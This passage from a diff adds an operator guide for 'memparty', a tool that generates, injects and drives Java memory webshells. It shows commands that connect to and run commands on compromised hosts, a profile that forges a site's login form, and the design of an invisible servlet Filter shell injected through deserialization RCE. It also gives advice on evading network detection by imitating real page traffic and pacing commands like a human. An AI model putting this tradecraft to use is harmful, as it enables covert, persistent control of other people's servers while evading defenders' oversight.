+ memparty connect -u http://target/ -t mimic --pass <pass> --key <key> \
275
+ --profile acme --dynamic-path
276
+ memparty exec acme/mimic --cmd "whoami" # profile rides along in the saved target
277
+ ```
278
+
279
+ ### Worked example
280
+
281
+ Target: a company portal at `http://192.0.2.1:8080` — a classic content site (HTML
282
+ documents dominate; no SPA).
283
+
284
+ 1. Fetch `/` and two linked pages. Observations: every page shares the same header/footer;
285
+ `/news/` is linked from the nav and returns a short self-contained list page; the nav
286
+ links are `/products/`, `/news/`, `/about/`; everything is `text/html; charset=utf-8`.
287
+ 2. `memparty profile init acme --site http://192.0.2.1:8080`.
288
+ 3. Edit `~/.memparty/profiles/acme.json` so it reads (template shortened here for display —
289
+ the real file must contain the page's FULL verbatim HTML):
290
+
291
+ ```json
292
+ {
293
+ "name": "acme",
294
+ "site": "http://192.0.2.1:8080",
295
+ "createdAt": "2026-07-19T08:00:00.000Z",
296
+ "templates": [
297
+ {
298
+ "title": "新闻动态 - ACME 科技",
299
+ "template": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>...full verbatim HTML...</html>",
300
+ "contentType": "text/html; charset=utf-8"
301
+ },
302
+ {
303
+ "title": "产品中心 - ACME 科技",
304
+ "template": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>...another page...</html>",
305
+ "contentType": "text/html; charset=utf-8"
306
+ }
307
+ ],
308
+ "paths": ["/products/", "/news/", "/about/"],
309
+ "request": {
310
+ "secretField": "verCode",
311
+ "fields": [
312
+ {"name": "csrftoken", "value": "{{hex:32}}"},
313
+ {"name": "j_username", "value": "admin"},
314
+ {"name": "j_password", "value": "{{hex:24}}"},
315
+ {"name": "agreement", "value": "on"}
316
+ ]
317
+ }
318
+ }
319
+ ```
320
+
321
+ Why these choices: `/news/` over the homepage — equally high-traffic but no carousel
322
+ JS/images, so no missing sub-request waterfall; two templates so consecutive responses
323
+ differ in length and bytes; `paths` are exactly the nav links real users click, not
324
+ guessed words; the `request` block mirrors the site's own login form, so the shell POST
325
+ is indistinguishable from someone signing in. (Templates shortened here for display —
326
+ the real file must contain each page's FULL verbatim HTML. A legacy single
327
+ `template`/`title`/`contentType` triple still loads, it just can't rotate.)
328
+ 4. Verify it parses, then connect:
329
+
330
+ ```bash
331
+ memparty profile show acme # schema check happens here too
332
+ memparty connect -u http://192.0.2.1:8080/ -t mimic --pass s3cr3t --key k3y \
333
+ --profile acme --dynamic-path
334
+ # OK mimic http://192.0.2.1:8080/
335
+ # round-trip ok (profile=acme; dynamic path http://192.0.2.1:8080/news/x7q2mzab)
336
+ ```
337
+
338
+ ### What mimic handles vs. what you decide
339
+
340
+ - Automatic: AES/ECB (key = md5(key)[0:16]), per-shell derived response delimiters,
341
+ form-body encoding, browser-consistent request headers, credential round-trip on `connect`.
342
+ - Yours: the template page, the path vocabulary, the request pacing. Filter/listener-type
343
+ memory shells answer on any path, which is what makes `--dynamic-path` legitimate — for a
344
+ fixed-URL shell just omit the flag.
345
+ - Limits: exec only (no upload/download); request timing/method mix is fixed, so pace your
346
+ commands like a patient human.
347
+
348
+ ### Server side (Java filter memshell)
349
+
350
+ The reference server is a servlet Filter, not a JSP — the repo keeps it in
351
+ `scratch/mimic-java/`:
352
+
353
+ - `mimic/MimicFilter.java` — the protocol server: mapped to `/*` at chain position 0, it
354
+ answers any form POST whose carrier (one of the profile's secretFields, baked in by the
355
+ generator — form field, URL parameter or header) decrypts, and passes everything else
356
+ through. Two rules keep it invisible: **detection uses `getParameter()`/`getHeader()` only
357
+ and never reads the body stream** (a second filter shell behind it keeps working), and
358
+ **an undecryptable value means chain-through, not a cover page** — so a legit form that
359
+ happens to use the same field name (e.g. the console's own login POST with `verCode`) is
360
+ never hijacked.
361
+ - `mimic/MimicInject.java` — the registration injector (adapted from MemShellParty's
362
+ TongWeb injector): its `<clinit>` embeds the filter's class bytes (gzip+base64), defines
363
+ them in the webapp classloader, and registers the filter into every running context.
364
+ - `../gen-mimic-filter.mjs` — the generator: reads the profile from
365
+ `~/.memparty/profiles/`, embeds **all** its templates (the filter picks one at random per
366
+ response — that's the rotation), and emits `MimicFilter<V>.class` + `MimicInject<V>.class`
367
+ (`javac --release 8`). Swap templates, re-run, re-inject. **Pass a fresh version suffix
368
+ on every re-injection** (`node gen-mimic-filter.mjs V3`): a running JVM can't re-define a
369
+ class, and the injector skips registration when the filter name already exists.
370
+
371
+ Deployment needs any channel that can `defineClass` + instantiate in the target JVM (a
372
+ deserialization RCE, an agent loader, another shell that evaluates scripts, …). The filter
373
+ is memory-resident and dies on restart — same as any memory shell.
374
+
375
+ Two deployment truths learned on a real TongWeb console:
376
+
377
+ - **Dynamic path is conditional on the target app's own filters.** The console's
378
+ loginfilter answers `/console/*` itself (except `/console/service`), so `--dynamic-path`
379
+ fails there even with the filter on `/*` — probe before relying on it, fall back to the
380
+ fixed working path.
381
+ - The cover page must be one the target actually serves; a beautiful but foreign template
382
+ is a fingerprint.
383
+
384
+ ### Reality check before relying on it
385
+
386
+ Run `memparty demo` once and read the printed request URL and response: the traffic should
387
+ be indistinguishable from a normal page view at a glance. Two ways it still stands out:
388
+
389
+ - **Missing sub-requests**: if your template page has assets (CSS/JS/images) a real browser
390
+ would fetch, a NDR notices their absence — prefer self-contained pages.
391
+ - **Volume mismatch**: signature devices look at bodies, but statistical detection looks at
392
+ baselines — hitting a rarely-used path shape (or HTML on an API site) deviates from it.
393
+ That is why the dominant-traffic rule above outranks everything else.
394
+
395
+ ## Step 7 — Save targets, switch by name
396
+
397
+ Flag soup gets old fast. Save each working shell into a **project** (a named group of shells
398
+ with an optional remark and category), then reference it as `<project>/<shell>`:
399
+
400
+ ```bash
401
+ memparty save web1/bh9060 -u <shell-url> -t behinder --pass rebeyond \
402
+ --header-name User-Agent --header-value <headerValue-from-gen-json> \
403
+ --remark "内网测试环境" --category test --shell-remark "root 权限"
404
+ memparty list # everything, or --category test
405
+ memparty exec web1/bh9060 --cmd "whoami" # no other flags needed
406
+ memparty exec web1 --cmd "id" # bare project works when it holds one shell
407
+ ```
408
+
409
+ MCP equivalents: `target_save` (project, shell, url, tool, creds, `projectRemark`,
410
+ `projectCategory`, `shellRemark`), `target_list` (optional `category` filter), `target_note`
411
+ (project meta, or a shell's remark when `shell` is given), `target_remove`; then pass
412
+ `name: "<project>/<shell>"` to `connect_test` / `exec_command`.
413
+ The store lives at `~/.memparty/targets.json`.
414
+
415
+ ## Step 8 — Audit with the operation log
416
+
417
+ Every operation (gen, probe, connect, exec, download, upload, save/note/remove) is appended to
418
+ `~/.memparty/operations.jsonl` — no credentials, no payload bytes, no file contents; exec output
419
+ is truncated.
420
+ Query it to recall what was done against a target:
421
+
422
+ ```bash
423
+ memparty log --category exec --target web1
424
+ ```
425
+
426
+ Over MCP this is the `log_list` tool (`category`, `target`, `limit`). Use it to review past
427
+ actions before repeating them, or to answer "what did we run on this host?".
428
+
429
+ ## Gotchas
430
+
431
+ - **Jakarta vs javax.** Tomcat 10+ / Spring Boot 3 → `Jakarta*` shell types. Tomcat 9- / Spring Boot 2
432
+ → non-prefixed. Picking the wrong family = the shell won't load.
433
+ - **JDK target.** `--jdk java6/8/9/11/17/21` (or bare `8`, or raw major `52`). Match (or stay ≤) the
434
+ target's JDK so the bytecode loads. JDK 9+ auto-enables Java-module bypass unless `--no-bypass-module`.
435
+ - **Spring-gzip packers** (`SpEL`/`OGNL`/`JXPath` + their `*SpringGzip*` / `*JDK17` variants) need a
436
+ special injector class name — the CLI generates one automatically; don't override
437
+ `--injector-class-name` for these.
438
+ - **Shrink is on by default** (smaller bytecode). Use `--no-shrink` only if a stripped payload misbehaves.
439
+ - **Aggregate packers** return multiple variants — pick a leaf for a single payload (see Step 1).
440
+ - **Agent memshells** (`Agent*` types) require the `AgentJar*` packer family and a JVM attach; they
441
+ aren't class-byte payloads.
442
+ - **Backend override.** Default is the public `https://party.mem.mk` (good for trying things, but
443
+ don't trust payloads from public services in real engagements — self-host with Docker and use
444
+ `MEMPARTY_API_URL` or `--api`).
445
+
446
+ ## Reverse: parse a class name
447
+
448
+ Got a `.class` and want its fully-qualified name (e.g. to confirm what you generated or analyze a sample)?
449
+
450
+ ```bash
451
+ memparty parse-classname --file shell.class
452
+ memparty parse-classname <base64-of-class-bytes>
453
+ ```